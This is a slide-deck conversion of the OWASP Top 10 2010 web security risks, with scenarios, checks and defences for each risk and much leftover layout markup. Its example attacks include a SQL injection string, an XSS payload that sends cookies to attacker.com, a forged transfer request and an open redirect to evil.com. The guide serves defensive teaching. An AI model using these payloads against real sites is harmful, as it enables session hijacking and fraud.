Top 10 2010











About OWASP




 * • O





















2  2




















 * • I

<div id="Title_8" class="P5" style="height: 2.116cm; width: 15.239cm">

Introduction

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

3  3

<div id="Table_6" style="height: 12.532cm; width: 19.049cm">



<div id="Table_72" style="height: 11.335cm; width: 19.049cm">



<div id="Title_7" class="P5" style="height: 2.116cm; width: 15.239cm">

Release Notes

<div id="Text_Placeholder_8" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • RN

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

4  4

What Are Application Security Risks?

Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.

Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may range from nothing, all the way through putting you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine the overall risk.

Weakness

Attack

Threat Agents

Impact

What’s My Risk?

This update to the OWASP Top 10 focuses on identifying the most serious risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using the following simple ratings scheme, which is based on the OWASP Risk Rating Methodology.

However, only you know the specifics of your environment and your business. For any given application, there may not be a threat agent that can perform the relevant attack, or the technical impact may not make any difference. Therefore, you should evaluate each risk for yourself, focusing on the threat agents, security controls, and business impacts in your enterprise.

Although previous versions of the OWASP Top 10 focused on identifying the most common “vulnerabilities”, they were also designed around risk. The names of the risks in the Top 10 stem from the type of attack, the type of weakness, or the type of impact they cause. We chose the name that is best known and will achieve the highest level of awareness.

References

OWASP


 * • OWASP Risk Rating Methodology
 * • Article on Threat/Risk Modeling

External


 * • FAIR Information Risk Framework
 * • Microsoft Threat Modeling (STRIDE and DREAD)

Weakness

Attack

Attack

Vectors

Security Weaknesses

Technical

Impacts

Business

Impacts

Attack

Impact

Impact

Asset

Function

Asset

Weakness

Control

Control

Control

Weakness

Security Controls

<div id="Table_122" style="height: 2.919cm; width: 11.428cm">



<div id="Title_62" class="P5" style="height: 2.116cm; width: 15.239cm">

Application Security Risks

<div id="Text_Placeholder_64" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • Risk

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

5  5

<div id="{99114BD6-AB84-47D7-90FA-E674D66B7A70}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{C7383E11-2997-46ED-9CDE-19D4351797B7}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{A1B85367-743A-4C9F-A891-07038BBF96F2}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{2BD590FA-9231-49C0-97E0-217A496C2237}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{C03D2B45-045F-419F-9A43-BA3CEAFBC613}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{47E9EF4E-AA7A-42E3-9DB3-FF494FD47A04}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{DA7DD3FF-C2BA-419E-88D3-4DE8B0D3FE4D}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{3A1C44CE-CCA3-4BD0-B54E-89DB7E3E4543}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{14EF3D90-B7BF-472E-9422-7B5778E09D13}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{2CA751A3-FAC5-4333-8C12-EE4CE8E8AB39}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{25555832-CE6E-49DC-8853-636E1959542E}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{7C354702-E349-4CDA-99AD-1E32BD6F3EC6}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{F5A8502D-52C4-4B4A-ACF7-0A37A965A8B6}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{09240EC7-522E-4395-8D61-1A972E9AC8FE}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{5DA0AAD8-DB42-4198-B614-1D5996278F65}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{74651D76-1A4B-4035-A912-0E9B4AC31E56}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{4FB0F712-7A12-4305-A804-F19DB2A74F1D}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{930B7E02-7BD0-4A1A-8B80-F9B89ACD00BA}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{0B5E7E68-CA72-4D92-A967-DF995646C3AC}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="{C4E8E996-7C5B-4BA4-B933-DE6C0BAA3728}" class="P8" style="height: 7.407cm; width: 2.264cm">



<div id="Title_4" class="P5" style="height: 2.116cm; width: 15.239cm">

OWASP Top 10 Application Security Risks – 2010

<div id="Text_Placeholder_5" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • T10

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

5  5

<div id="Table_104" style="height: 7.053cm; width: 19.049cm">



Example Attack Scenario

The application uses untrusted data in the construction of the following vulnerable SQL call:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";

The attacker modifies the ‘id’ parameter in their browser to send: ' or '1'='1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer’s.

http://example.com/app/accountView?id= ' or '1'='1

In the worst case, the attacker uses this weakness to invoke special stored procedures in the database that enable a complete takeover of the database and possibly even the server hosting the database.

Am I Vulnerable To Injection?

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.

References

OWASP


 * • OWASP SQL Injection Prevention Cheat Sheet
 * • OWASP Injection Flaws Article
 * • ESAPI Encoder API
 * • ESAPI Input Validation API
 * • ASVS: Output Encoding/Escaping Requirements (V6)
 * • OWASP Testing Guide: Chapter on SQL Injection Testing
 * • OWASP Code Review Guide: Chapter on SQL Injection
 * • OWASP Code Review Guide: Command Injection

External


 * • CWE Entry 77 on Command Injection
 * • CWE Entry 89 on SQL Injection

How Do I Prevent Injection?

Preventing injection requires keeping untrusted data separate from commands and queries.


 * 1) ●. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface.  Be careful of APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.
 * 2) ●. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI has some of these escaping routines.


 * 1) ●. Positive or “white list” input validation with appropriate canonicalization is also recommended, but is not a complete defense as many applications require special characters in their input. OWASP’s ESAPI has an extensible library of white list input validation routines.

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Text_Placeholder_35" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A1

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Injection

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

7  7

<div id="Table_104" style="height: 7.897cm; width: 19.049cm">



Example Attack Scenario

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in their browser to:

'> document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie '.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ. See A5 for info on CSRF.

Am I Vulnerable to XSS?

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

References

OWASP


 * • OWASP XSS Prevention Cheat Sheet
 * • OWASP Cross-Site Scripting Article
 * • ESAPI Project Home Page
 * • ESAPI Encoder API
 * • ASVS: Output Encoding/Escaping Requirements (V6)
 * • ASVS: Input Validation Requirements (V5)
 * • Testing Guide: 1st 3 Chapters on Data Validation Testing
 * • OWASP Code Review Guide: Chapter on XSS Review

External


 * • CWE Entry 79 on Cross-Site Scripting
 * • RSnake’s XSS Attack Cheat Sheet

How Do I Prevent XSS?

Preventing XSS requires keeping untrusted data separate from active browser content.


 * 1) ●. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.
 * 2) ●. Positive or “whitelist” input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Cross-Site Scripting (XSS)

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A2

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

8  8

<div id="Table_104" style="height: 7.859cm; width: 19.049cm">



Example Attack Scenarios

Scenario #1 : Airline reservations application supports URL rewriting, putting session IDs in the URL:

http://example.com/sale/saleitems; jsessionid= 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV ?dest=Hawaii

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

Scenario #2 : Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3 : Insider or external attacker gains access to the system’s password database. User passwords are not encrypted, exposing every users’ password to the attacker.

Am I Vulnerable?

The primary assets to protect are credentials and session IDs.


 * 1) ●. Are credentials always protected when stored using hashing or encryption? See A7.
 * 2) ●. Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?
 * 3) ●. Are session IDs exposed in the URL (e.g., URL rewriting)?
 * 4) ●. Are session IDs vulnerable to session fixation attacks?
 * 5) ●. Do session IDs timeout and can users log out?
 * 6) ●. Are session IDs rotated after successful login?
 * 7) ●. Are passwords, session IDs, and other credentials sent only over TLS connections? See A9.

See the ASVS requirement areas V2 and V3 for more details.

References

OWASP

For a more complete set of requirements and problems to avoid in this area, see the ASVS requirements areas for Authentication (V2) and Session Management (V3).


 * • OWASP Authentication Cheat Sheet
 * • ESAPI Authenticator API
 * • ESAPI User API
 * • OWASP Development Guide: Chapter on Authentication
 * • OWASP Testing Guide: Chapter on Authentication

External


 * • CWE Entry 287 on Improper Authentication

How Do I Prevent This?

The primary recommendation for an organization is to make available to developers:


 * 1) ●. A single set of strong authentication and session management controls . Such controls should strive to:


 * 1) ## ●) meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).
 * 2) ●) have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
 * 3) ●. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs. See A2.

<div id="Title_27" class="P5" style="height: 2.116cm; width: 15.239cm">

Broken Authentication and Session Management

<div id="Text_Placeholder_32" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A3

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

9  9

<div id="Table_104" style="height: 7.053cm; width: 19.049cm">



Example Attack Scenario

The application uses unverified data in a SQL call that is accessing account information:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt = connection.prepareStatement(query, … );

pstmt.setString( 1, request.getparameter("acct"));

ResultSet results = pstmt.executeQuery;

The attacker simply modifies the ‘acct’ parameter in their browser to send whatever account number they want. If not verified, the attacker can access any user’s account, instead of only the intended customer’s account.

http://example.com/app/accountInfo?acct= notmyacct

Am I Vulnerable?

The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider:


 * 1) ●. For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.
 * 2) ●. If the reference is an indirect reference, the mapping to the direct reference must be limited to values authorized for the current user.

Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.

References

OWASP


 * • OWASP Top 10-2007 on Insecure Dir Object References
 * • ESAPI Access Reference Map API
 * • ESAPI Access Control API (See isAuthorizedForData, isAuthorizedForFile, isAuthorizedForFunction )

For additional access control requirements, see the ASVS requirements area for Access Control (V4).

External


 * • CWE Entry 639 on Insecure Direct Object References
 * • CWE Entry 22 on Path Traversal  (which is an example of a Direct Object Reference attack)

How Do I Prevent This?

Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):


 * 1) ●. Use per user or session indirect object references . This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.
 * 2) ●. Check access . Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Insecure Direct Object References

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A4

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

Can we squeeze a mention of ‘parameter tampering’?

It would also be nice to mention query constraints as a defense but maybe that’s too esoteric.

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

10  10

<div id="Table_104" style="height: 8.071cm; width: 19.049cm">



Example Attack Scenario

The application allows a user to submit a state changing request that does not include anything secret. Like so:

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

<img src=" http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct# “ width="0" height="0" />

If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request.

Am I Vulnerable to CSRF?

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

You should check multistep transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.

Note that session cookies, source IP addresses, and other information that is automatically sent by the browser doesn’t count since this information is also included in forged requests.

OWASP’s CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.

References

OWASP


 * • OWASP CSRF Article
 * • OWASP CSRF Prevention Cheat Sheet
 * • OWASP CSRFGuard - CSRF Defense Tool
 * • ESAPI Project Home Page
 * • ESAPI HTTPUtilities Class with AntiCSRF Tokens
 * • OWASP Testing Guide: Chapter on CSRF Testing
 * • OWASP CSRFTester - CSRF Testing Tool

External


 * • CWE Entry 352 on CSRF

How Do I Prevent CSRF?

Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.


 * 1) ●. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.
 * 2) ●. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.

OWASP’s CSRF Guard can be used to automatically include such tokens in your Java EE, .NET, or PHP application. OWASP’s ESAPI includes token generators and validators that developers can use to protect their transactions.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Cross-Site Request Forgery (CSRF)

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A5

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

11  11

<div id="Table_104" style="height: 7.859cm; width: 19.049cm">



Example Attack Scenarios

Scenario #1 : Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don’t update your libraries. Until you do, attackers can easily find and exploit these flaw in your app.

Scenario #2 : The admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

Scenario #3 : Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then find a serious access control flaw in your application.

Scenario #4 : App Server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

Am I Vulnerable?

Have you performed the proper security hardening across the entire application stack?


 * 1) ●. Do you have a process for keeping all your software up to date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries.
 * 2) ●. Is everything unnecessary disabled, removed, or not installed (e.g. ports, services, pages, accounts, privileges)?
 * 3) ●. Are default account passwords changed or disabled?
 * 4) ●. Is your error handling set up to prevent stack traces and other overly informative error messages from leaking?
 * 5) ●. Are the security settings in your development frameworks (e.g., Struts, Spring, ASP.NET) and libraries understood and configured properly?

A concerted, repeatable process is required to develop and maintain a proper application security configuration.

References

OWASP


 * • OWASP Development Guide: Chapter on Configuration
 * • OWASP Code Review Guide: Chapter on Error Handling
 * • OWASP Testing Guide: Configuration Management
 * • OWASP Testing Guide: Testing for Error Codes
 * • OWASP Top 10 2004 - Insecure Configuration Management

For additional requirements in this area, see the ASVS requirements area for Security Configuration (V12).

External


 * • PC Magazine Article on Web Server Hardening
 * • CWE Entry 2 on Environmental Security Flaws
 * • CIS Security Configuration Guides/Benchmarks

How Do I Prevent This?

The primary recommendations are to establish all of the following:


 * 1) ●. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.
 * 2) ●. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries as well, which are frequently overlooked.
 * 3) ●. A strong network architecture that provides good separation and security between components.
 * 4) ●. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Security Misconfiguration

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A6

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

12  12

<div id="Table_104" style="height: 7.859cm; width: 19.049cm">



Example Attack Scenarios

Scenario #1 : An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.

Scenario #2 : A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.

Scenario #3 : The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.

Am I Vulnerable?

The first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, credit cards, health records, and personal information should be encrypted. For all such data, ensure:


 * 1) ●. It is encrypted everywhere it is stored long term, particularly in backups of this data.
 * 2) ●. Only authorized users can access decrypted copies of the data (i.e., access control – See A4 and A8).
 * 3) ●. A strong standard encryption algorithm is used.
 * 4) ●. A strong key is generated, protected from unauthorized access, and key change is planned for.

And more … For a more complete set of problems to avoid, see the ASVS requirements on Cryptography (V7)

References

OWASP

For a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Cryptography (V7).


 * • OWASP Top 10-2007 on Insecure Cryptographic Storage
 * • ESAPI Encryptor API
 * • OWASP Development Guide: Chapter on Cryptography
 * • OWASP Code Review Guide: Chapter on Cryptography

External


 * • CWE Entry 310 on Cryptographic Issues
 * • CWE Entry 312 on Cleartext Storage of Sensitive Information
 * • CWE Entry 326 on Weak Encryption

How Do I Prevent This?

The full perils of unsafe cryptography are well beyond the scope of this Top 10. That said, for all sensitive data deserving encryption, do all of the following, at a minimum:


 * 1) ●. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.
 * 2) ●. Ensure offsite backups are encrypted, but the keys are managed and backed up separately.
 * 3) ●. Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place.
 * 4) ●. Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.
 * 5) ●. Ensure all keys and passwords are protected from unauthorized access.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Insecure Cryptographic Storage

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A7

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

13  13

<div id="Table_104" style="height: 7.053cm; width: 19.049cm">



Example Attack Scenario

The attacker simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication, and admin rights are also required for access to the “ admin_getappInfo” page.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the “ admin_getappInfo” page, this is a flaw, and may lead the attacker to more improperly protected admin pages.

Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

Am I Vulnerable?

The best way to find out if an application has failed to properly restrict URL access is to verify every page. Consider for each page, is the page supposed to be public or private. If a private page:


 * 1) ●. Is authentication required to access that page?
 * 2) ●. Is it supposed to be accessible to ANY authenticated user? If not, is an authorization check made to ensure the user has permission to access that page?

External security mechanisms frequently provide authentication and authorization checks for page access. Verify they are properly configured for every page. If code level protection is used, verify that code level protection is in place for every required page. Testing can also verify whether proper protection is in place.

References

OWASP


 * • OWASP Top 10-2007 on Failure to Restrict URL Access
 * • ESAPI Access Control API
 * • OWASP Development Guide: Chapter on Authorization
 * • OWASP Testing Guide: Testing for Path Traversal
 * • OWASP Article on Forced Browsing

For additional access control requirements, see the ASVS requirements area for Access Control (V4).

External


 * • CWE Entry 285 on Improper Access Control (Authorization)

How Do I Prevent This?

Preventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended:


 * 1) ●. The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.
 * 2) ●. The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.
 * 3) ●. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.
 * 4) ●. If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Failure to Restrict URL Access

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A8

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

14  14

<div id="Table_104" style="height: 8.262cm; width: 19.049cm">



Example Attack Scenarios

Scenario #1 : The site simply doesn’t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.

Scenario #2 : Site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against site’s customers lures them to a lookalike site which doesn’t have valid certificate generating similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.

Scenario #3 : Site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.

Am I Vulnerable?

The best way to find out if an application has insufficient transport layer protection is to verify that:


 * 1) ●. SSL is used to protect all authentication related traffic.
 * 2) ●. SSL is used for all resources on all private pages and services. This protects all data and session tokens that are exchanged. Mixed SSL on a page should be avoided since it causes user warnings in the browser, and may expose the user’s session ID.
 * 3) ●. Only strong algorithms are supported.
 * 4) ●. All session cookies have their ‘secure’ flag set so the browser never transmits them in the clear.
 * 5) ●. The server certificate is legitimate and properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.

References

OWASP

For a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Communications Security (V10).


 * • OWASP Transport Layer Protection Cheat Sheet
 * • OWASP Top 10-2007 on Insecure Communications
 * • OWASP Development Guide: Chapter on Cryptography
 * • OWASP Testing Guide: Chapter on SSL/TLS Testing

External


 * • CWE Entry 319 on Cleartext Transmission of Sensitive Information
 * • SSL Labs Server Test
 * • Definition of FIPS 140-2 Cryptographic Standard

How Do I Prevent This?

Providing proper transport layer protection can affect the site design. It’s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private pages. Others use SSL only on ‘critical’ pages, but this can expose session IDs and other sensitive data. At a minimum, do all of the following:


 * 1) ●. Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.
 * 2) ●. Set the ‘secure’ flag on all sensitive cookies.
 * 3) ●. Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.
 * 4) ●. Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.
 * 5) ●. Backend and other connections should also use SSL or other encryption technologies.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Insufficient Transport Layer Protection

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A9

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

15  15

<div id="Table_104" style="height: 7.562cm; width: 19.049cm">



Example Attack Scenarios

Scenario #1 : The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.

http://www.example.com/redirect.jsp?url=evil.com

Scenario #2 :The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forward the attacker to an administrative function that she would not normally be able to access.

http://www.example.com/boring.jsp?fwd=admin.jsp

Am I Vulnerable?

The best way to find out if an application has any unvalidated redirects or forwards is to:


 * 1) ●. Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.
 * 2) ●. Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.
 * 3) ●. If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test them.

References

OWASP


 * • OWASP Article on Open Redirects
 * • ESAPI SecurityWrapperResponse sendRedirect method

External


 * • CWE Entry 601 on Open Redirects
 * • WASC Article on URL Redirector Abuse
 * • Google blog article on the dangers of open redirects

How Do I Prevent This?

Safe use of redirects and forwards can be done in a number of ways:


 * 1) ●. Simply avoid using redirects and forwards.
 * 2) ●. If used, don’t involve user parameters in calculating the destination. This can usually be done.
 * 3) ●. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.

It is recommended that such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL.

Applications can use ESAPI to override the sendRedirect method to make sure all redirect destinations are safe.

